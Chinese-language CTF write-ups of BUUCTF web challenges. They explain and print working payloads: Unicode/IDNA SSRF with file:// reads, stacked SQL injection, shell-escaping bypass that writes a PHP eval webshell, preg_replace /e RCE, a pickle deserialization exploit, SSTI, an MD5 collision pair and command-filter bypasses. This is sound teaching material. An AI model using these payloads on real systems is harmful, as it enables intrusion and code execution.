BUUCTF-web刷题Ⅱ

BUUCTF-web刷题Ⅱ

刷题刷不停,继续刷!👾👾👾

[SUCTF 2019]Pythonginx

考察知识

考察Black Hat2019的一个议题:在unicode中字符℀(U+2100),当利用IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制。
关于INDAUIF-8的漏洞:https://www.cnblogs.com/cimuhuashuimu/p/11490431.html
此类的字符还有:

U+2100, ℀
U+2101, ℁
U+2105, ℅
U+2106, ℆
U+FF0F, /
U+2047, ⁇
U+2048, ⁈
U+2049, ⁉
U+FE16,︖
U+FE56, ﹖
U+FF1F, ?
U+FE5F, ﹟
U+FF03, #
U+FE6B, ﹫
U+FF20, @
相信总会用到的

参考Black Hat2019的PPT:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

题目分析

进入题目,给了如下的源码

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

我们看到getUrl()会对传入的url做多层处理和过滤:
第一层处理及过滤:

host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"

这里host = parse.urlparse(url).hostname返回传入的url的主机名,这里urlparse是将url字符串拆分为组件,可参考:https://www.cnblogs.com/jiumo/p/11143741.html
在本机测试效果如下:

>>> from urllib.parse import urlparse
>>> urlparse('http://www.baidu.com/index.php')
ParseResult(scheme='http', netloc='www.baidu.com', path='/index.php', params='', query='', fragment='')
>>> urlparse('http://www.baidu.com/index.php').hostname
'www.baidu.com'

这里不会对url中的类似于的字符做处理,测试效果:

>>> urlparse('http://www.baidu.℀om/index.php').hostname
'www.baidu.℀om'

因此借助INDA漏洞构造的url可以通过这一步的过滤。
第二层处理及过滤:

parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host

urlsplit是将url进行分割,测试:

>>> from urllib.parse import urlsplit
>>> urlsplit('http://www.baidu.com/index.php')
SplitResult(scheme='http', netloc='www.baidu.com', path='/index.php', query='', fragment='')
>>> urlsplit('http://www.baidu.com/index.php')[1]
'www.baidu.com'

此处利用了一个CVEurlsplit不处理 NFKC 标准化(用 Punycode/IDNA编码的URL使用NFKC规范化来分解字符),因此对类的字符也是处理不了的:

>>> urlsplit('http://www.baidu.℀om/index.php')[1]
'www.baidu.℀om'

绕过前两层过滤,到第三层处理:

newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)

我们发现,这里是在url.处进行分割,并加入到newhost[]数组中,但是加入数组之前会继续INDA编码然后UTF-8解码,那么在此处类的字符便会被解析为a/c,我们利用此漏洞便可以构造能打入服务器拿flag的payload了。

解题

我们从前面的代码看到,构造的url的域名需要绕过前两层host == 'suctf.cc'的判断,并且要满足第三层的host == 'suctf.cc',那么我们便可以构造域名:suctf.c℆sr便可以绕过对域名的判断。
但是现在我们不知道flag文件在哪,但是题目给了提示:

<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

提示我们是基于nginx架构的服务器,那肯定与其配置文件相关
这里补充知识:

Nginx重要文件位置:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

我们读取nignx.conf应该能找到flag文件的位置,构造payload:

file://suctf.c℆sr/local/nginx/conf/nginx.conf

利用file协议读取nginx.conf内容如下:

server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }

拿到flag文件的位置之后,构造最终payload:

/getUrl?url=file://suctf.c%E2%84%86sr/fffffflag

这里注意需要进行url编码。

拓展一下:python的urlsplit函数其实是比较不完善的,还存在urlsplit NFKD 标准化漏洞,以后遇到的时候需要多加注意。

[极客大挑战 2019]Http

考察http协议的题目,常见也简单。

解题

查看源码发现一个Secret.php的链接,进去之后提示:

伪造Refer头即可,伪造之后又提示:

伪造UA头即可,然后提示需要来自本地:

伪造IP即可拿到flag

这个地方可以伪造多处,可以伪造x-forwarded-for也可以伪造client-ip,还可以伪造host头,有些时候甚至把三个都伪造上,之前打比赛遇到一个题目就是,巨坑…

伪造协议头可以通过BP抓包改包,当然有更方便的方法,这里推荐一个火狐/谷歌的插件Header Editor方便好用。

[强网杯 2019]随便注

考察堆叠注入
注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?答案是会的,这也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如:

用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

题目分析

进入题目可以看到一个提示框,进行注入测试,1'的时候不回显,1'#则回显,说明存在sql注入,order by语句得知有两个字段,但是用union select组合查询的时候提示了过滤的情况:

可以看到,常用的注入语句基本全被过滤了,网上参考得知是堆叠注入

解题

利用堆叠注入进行注入:

爆库:1';show databases;#
爆表:1';show tables#

查表回显的结果如下:

我们看到有一个words表和一个1919810931114514表,flag应该在1919810931114514中没错了,看一下:

1';show columns from `1919810931114514` //注意以纯数字作为表名,查表的时候需要用反引号


现在,我们知道flag在1919810931114514表了,但是用去查询的字段都被过滤了,所以需要用其他的方法来获取flag。
我们可以看到,在输入1或者2的时候,都会返回一个字符串,因此猜测内部查询语句应该是默认匹配words库的,查询语句也就类似于select id, data from words where id =,因此我们可以把1919810931114514表改名为words表,并且加入id列,同时将flag列改为data列,如此一来,我们查询1' or 1=1#就能拿到flag了。
最终构造payload:

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

然后1' or 1=1即可拿到flag。

[SUCTF 2019]EasySQL

也是考察堆叠注入,但是与上题不同,本题突破点在于:mysql中通过set sql_mode=PIPES_AS_CONCAT可以将||视为字符串的连接操作符而非或运算符,利用语句堆叠设置这个环境变量,然后再通过||拼接查询flag即可。

题目分析

进入题目,和上题一样是一个查询框,可以拿到源码:

<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

看到 mysql_multi_query()得知可以堆叠注入,这里关注查询语句$sql = "select ".$post['query']."||flag from Flag";可以看到,查询语句是将我们传入的语句与||flag from Flag拼接在一起了,这里补充知识:

  • 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。

因此我们通过堆叠注入设置sql_mode,然后再查询即可。

解题

构造最终payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解:直接构造payload为*,1即可拿到flag

  • 字符串时前面的数字时结果为1则返回1,为0则返回0,效果跟直接*一样。

[BUUCTF 2018]Online Tool

考察namp的一个命令-oG,以及escapeshellarg()escapeshellarg()函数合起来使用造成的漏洞。

题目分析

首先看到代码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

我们看到,代码主要是通过利用nmap的命令拼接上我们的输入来执行,参考别人的题解得知namp的一个参数-oG可以向目标机器中写入文件,通过这个参数,我们便可以向目标机器写入一个小马来连接。
但是我们只能从host参数来写入内容,那么我们写入的小马代码便会被escapeshellarg()escapeshellarg()做处理,即将host中包含的字符转义,便可以影响小马的上传,因此需要利用它们结合使用存在的漏洞来绕过。
这里可以参考:https://paper.seebug.org/164/
即传入的参数内容中包含'则会造成漏洞,例如:

  • 传入的参数是:172.17.0.2' -v -d a=1
  • 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  • 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的'进行了转义
  • 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST数据为a=1'

这里我们是利用namp执行命令,那么需要了解一些namp的基本知识:namp -PS 127.0.0.1namp -PS '' 127.0.0.1nmap -PS '" "' 127.0.0.1 " "效果是一样的。

解题

构造payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

写入之后返回了小马存储的路径:

然后去蚁剑连接即可。

[ZJCTF 2019]NiZhuanSiWei

考察file_get_contents的绕过,以及反序列化。
补充知识:file_get_contents的绕过

1、使用php://input伪协议绕过
①将要GET的参数?xxx=php://input
②用post方法传入想要file_get_contents()函数返回的值
2、用data://伪协议绕过
①将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
②或者将url改为:?xxx=data:text/plain,(url编码的内容)
3、利用远程文件读取绕过

题目分析

进入题目之后,给出了一段代码:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

通过审计代码可知:需要GET方式上传三个参数textfilepassword,并且三个参数需要满足:

  • text参数传入的值会用file_get_contents去访问,初步猜测是远程文件读取,后来测试发现这里不行,需要用伪协议;
  • file参数可以传入文件名,这个文件会被include()包含,看到这猜测肯定有文件包含,并且提示了useless.php,肯定是要看它的代码的;
  • password会进行反序列化,还没看出他的用处。

解题

首先构造payload:

/?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php&passwprd=1

成功读取到useless.php的代码,如下:

<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

我们看到,这里构造了一个Flag类,并且在此处可以读到flag.php的内容,由此得知password传入的肯定是此处序列化的内容,可以用下面的代码拿到序列化的字符串:

<?php  

class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$a = new Flag;
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后再构造payload读取flag:

/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码拿到flag。

[BJDCTF2020]ZJCTF,不过如此

是上道题的改版,原题是支持远程文件读取的,但是放到BUU上好像不行了… 这道题在上道题的基础上考了preg_replace()的RCE。
本RCE参考:https://xz.aliyun.com/t/2557

题目分析

首先看代码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

相同的操作拿到next.php的源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里我们看到语句preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)中采用了preg_replace/e模式,因此可以利用上面提到的RCE来写入小马,构造payload如下:

/next.php?id=1&\S*=${eval($_POST[x])}

这样构造的原因:

  • preg_replace函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图preg_replace函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为'strtolower("\\1")'字符串,就需要想办法来执行它。
  • 上面的命令执行,相当于eval('strtolower("\\1");')结果,当中的\\1实际上就是\1,而\1在正则表达式中有自己的含义:

    对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用'\n'访问,其中n为一个标识特定缓冲区的一位或两位十进制数。

  • 所以这里的\1实际上指定的是第一个子匹配项,参考前面的链接,我们传入\S*=${eval($_POST[x])}便可以将小马写入(S原本是.,但是传参数首字符是特殊字符的时候会被替换为_,用S可以绕过)。

解题

用上面的payload写入小马,然后用蚁剑连接拿到shell,即可拿到flag。注意这里我们并没有把上面的语句写入到指定的文件,而是访问的时候${eval($_POST[x])}语句首先被执行了,因此才可以连接上,那么我们连接的时候用的也就是整个url了。

[极客大挑战 2019]BuyFlag

考察is_numeric()strcmp()两个函数的漏洞

补充知识

  • php中的strcmp漏洞

    传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数接受到了不符合的类型将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,仍将return 0(表示两个字符串相等)。那么利用数组即可绕过判断。

  • php中的is_numeric()漏洞

    is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断。

题目分析

PAYFLAG页面源码中发现如下代码:

~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}

提示我们传入moneypassword,可以看到利用password=404%20即可绕过is_numeric的判断。
抓包发现cookie值为0,而并没有采用PHPSESSID,将其改为1即可,发送之后回显如下:

从中看到了对money的判断,看到PHP版本是5.3的,猜测是strcmp函数比较的,利用数组绕过即可。

成功拿到flag。**其实对于money的绕过还可以采用科学计数法money=1e11

[CISCN 2019]ikun

考察薅羊毛逻辑漏洞:通过抓包修改折扣等数据来购买flag;jwt-cookies伪造python反序列化

题目分析

进入题目之后提示要买到lv6

我们看到每个商品都有个等级的标签,查看标签命名是lvx.png,因此若要找到lv6的地方,可以用下面的脚本代码:

import requests
url="http://6e7db183-764d-4afc-bdbb-b70791536e4a.node3.buuoj.cn/shop?page="
for i in range(0,2000):

r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break

跑出来lv6在181页,但是发现太贵了…
抓包发现可以设置折扣,这里就用到了薅羊毛逻辑漏洞
然后页面返回提示需要是admin

抓包发现cookie采用了JWT(此处可了解JWT),我们把JWT拿去base64解码得到

{"alg":"HS256","typ":"JWT"}{"username":"123"}¶«”L=œmð¢ÖٟJhÎö7Éq">[‡¿

其中username中是我们登录的用户名,等下伪造JWT时改为admin即可;
另外,伪造JWT还需要秘钥,可以利用c-jwt-cracker来破解:

拿到秘钥之后,到JWT生成网站伪造admin的JWT:

拿伪造的JWT伪装成管理员,然后得到了一个压缩包的地址:

然后需要成为大会员,BP抓包发现是利用become传参,在源码的Admin.py中找到了这个参数:

def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

我们看到,这个地方利用了pickle.loadsbecome传参进行反序列化(关于pickle),现在就需要构造可读取flag文件的序列化字符串赋给become利用Python反序列化的漏洞拿到flag。

解题


从图中看到:我们可以利用reduce,当reduce被定义之后,该对象被Pickle时就会被调用我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们供eval使用的即打开的文件flag.txt,EXP如下:

#python3
import pickle
from urllib import parse

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = parse.quote(a)
print (a)

#python2
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

生成payload:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

利用前面伪造的JWT同时将上面的payload传给参数become即可拿到flag。

关于Python反序列化漏洞的参考:
Pickle反序列化漏洞https://xz.aliyun.com/t/2289
cPickle反序列化漏洞https://blog.csdn.net/SKI_12/article/details/85015803
Python-sec的一些总结http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

[ASIS 2019]Unicorn shop

考察unicode安全问题,参考如下链接:
浅谈Unicode设计的安全性
Unicode等价性浅谈
UNICODE SECURITY CONSIDERATIONS

解题

查看源码发现在charset=UTF-8处提示Ah,really important,seriously.,说明是考察与unicode安全相关的知识,再看题目页面,可以买四种独角兽,但是前三种价格都是一位数,而第四个却是四位数,猜测flag就在第四个。
但是输入框只能输入一个字符,参考网上的资料,到前面的网站找一个大于1337的特殊unicode字符,然后将其进行url编码填入输入框拿到flag。
可以去这里找。

[WesternCTF 2018]shrine

考察SSTI服务端模板注入,参考https://www.cnblogs.com/wangtanzhi/p/12238779.html

题目分析

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

可以看到/shrine/路径下存在对用户输入到模板数据的过滤,()被替换为空,configself都被黑名单过滤掉,但是还是避免不了存在SSTI,先拿一个数学表达式测试一下:2,发现可以执行。

接着看代码,

app.config['FLAG'] = os.environ.pop('FLAG')

这里注册一个名为FLAGconfig,flag应该就在这,这个地方原本可以直接通过读取所有app.config的内容的,但是前面说过config已经被过滤了:下面这行代码就是将configself替换为空。

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])

但是这里黑名单过滤的内容比较少,其实还有其他内置函数能实现同样的功能,如url_forget_flashed_messages
关于这两个函数可以参考:https://www.jianshu.com/p/bcf57a3092ce

解题

直接上payload了

/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

读取到flag如下:

PHP中也有很多模板渲染的漏洞,以后遇到了慢慢学吧。
附上一个模板注入点扫描工具tplmap

[安洵杯 2019]easy_web

考察多次编码,MD5强碰撞

题目分析

进入题目之后,看题目的url发现了可疑的参数imgcmd,并且img的值是一串base64,解码之后还是base64,再解码拿到一串hex码,最终解码是555.png,这就说明,读取文件的时候是先进行hex编码,然后两次base64编码传参,那么我们利用这个特点就可以读其他文件了。
先看index.php的内容,三次编码传参之后拿到源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

可以看到preg_match("/flag/i", $file)说明flag在/flag中,同时

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

cmd传参内容进行了很多的过滤,可以看到cat被ban了,但是对\用了\\来过滤,之前打比赛遇到过,这样匹配其实匹配不到\,因此可以借助ca\t来绕过,这里其实还可以用sort命令来读取flag的。

sort:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

其实Linux中对命令过滤的绕过方式还很多,参考这里

另一个考点是MD5强比较绕过:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
}

这里是固定用法:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

其实原理是生成两个txt文件,文件内容只有几位不同,但最后的md5值是相同的。

解题

利用cmd传参sort%20/flagca\t%20/flag即可,当然c\at效果一样,这与linux的命令相关,最后拿到flag。

巨坑!如果想要用BP抓包改POST的内容,web端一定是要POST传数据,不能GET传参之后抓包再改成POST,否则失败!

[极客大挑战 2019]Upload

常规文件上传题,对后缀名进行了过滤,一般用phpphp3php4php5phtmlpht来绕过,本题是利用pht绕过的。
本题也对<?进行了过滤,利用GIF89a <script language="php">eval($_REQUEST[shell])</script>即可。

解题

上传构造好的小马,抓包之后把文件类型改为image/jpg上传之后即可成功解析

小马存在了/upload路径下,蚁剑连接拿flag。

[CISCN 2019]Love Math

主要考察PHP基本函数的利用,还有变量与函数关联的知识

补充知识

一些基本的函数:

scandir()函数:返回指定目录中的文件和目录的数组。
base_convert()函数:在任意进制之间转换数字。
dechex()函数:把十进制转换为十六进制。
hex2bin()函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump()函数:用于输出变量的相关信息。
readfile()函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回false。您可以通过@readfile()形式调用该函数,来隐藏错误信息。

动态函数

php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数例如:$function = "sayHello";$function();

php中函数名默认为字符串

例如本题白名单中的asinhpi可以直接异或,这就增加了构造字符的选择.

题目分析

打开连接,给出了源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

分析源码可知,对参数内容作了以下的限制:

  • 1、长度不能超过80;
  • 2、不能包含,\t,\r,\n,',",反引号,[,`]`` 这些字符;
  • 3、不能有不是$whitelist白名单里面的字符串出现;

单单传参c肯定是不行了,有两种思路来拿flag:
加一个参数:我们需要构造个$_GET[1],然后再拿flag,但是[]都不能用,因此不能直接构造,这个时候我们就可以利用白名单中的那些函数来构造。
直接cat flag:也需要用到上面说的一些函数来构造。
主要用到base_convertdechex两个函数,同时将piabs当做参数来利用。

解题

加参数

构造&_GET传参:
payload 1:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

但是这种方法会报400 Bad Request,可能跟构造的&_GET相关,网上参考到不能&_GET传参,可以用header来传,可以构造如下:
payload 2

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

这里用到了apache下的getallheaders这个函数:

我们结合这个payload,抓包之后在其中添上1: cat /flag(这里需要注意一下,BUU的flag都在根目录下,直接cat /flag即可,网上一些参考题解是cat flag.php是读不到的),拿到flag:

直接构造拿cat /flag

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
这两条是参考网上的题解,没有做出更改,用的话稍微改一下即可

[GXYCTF2019]禁止套娃

考察无参数RCE,参考这篇文章

题目分析

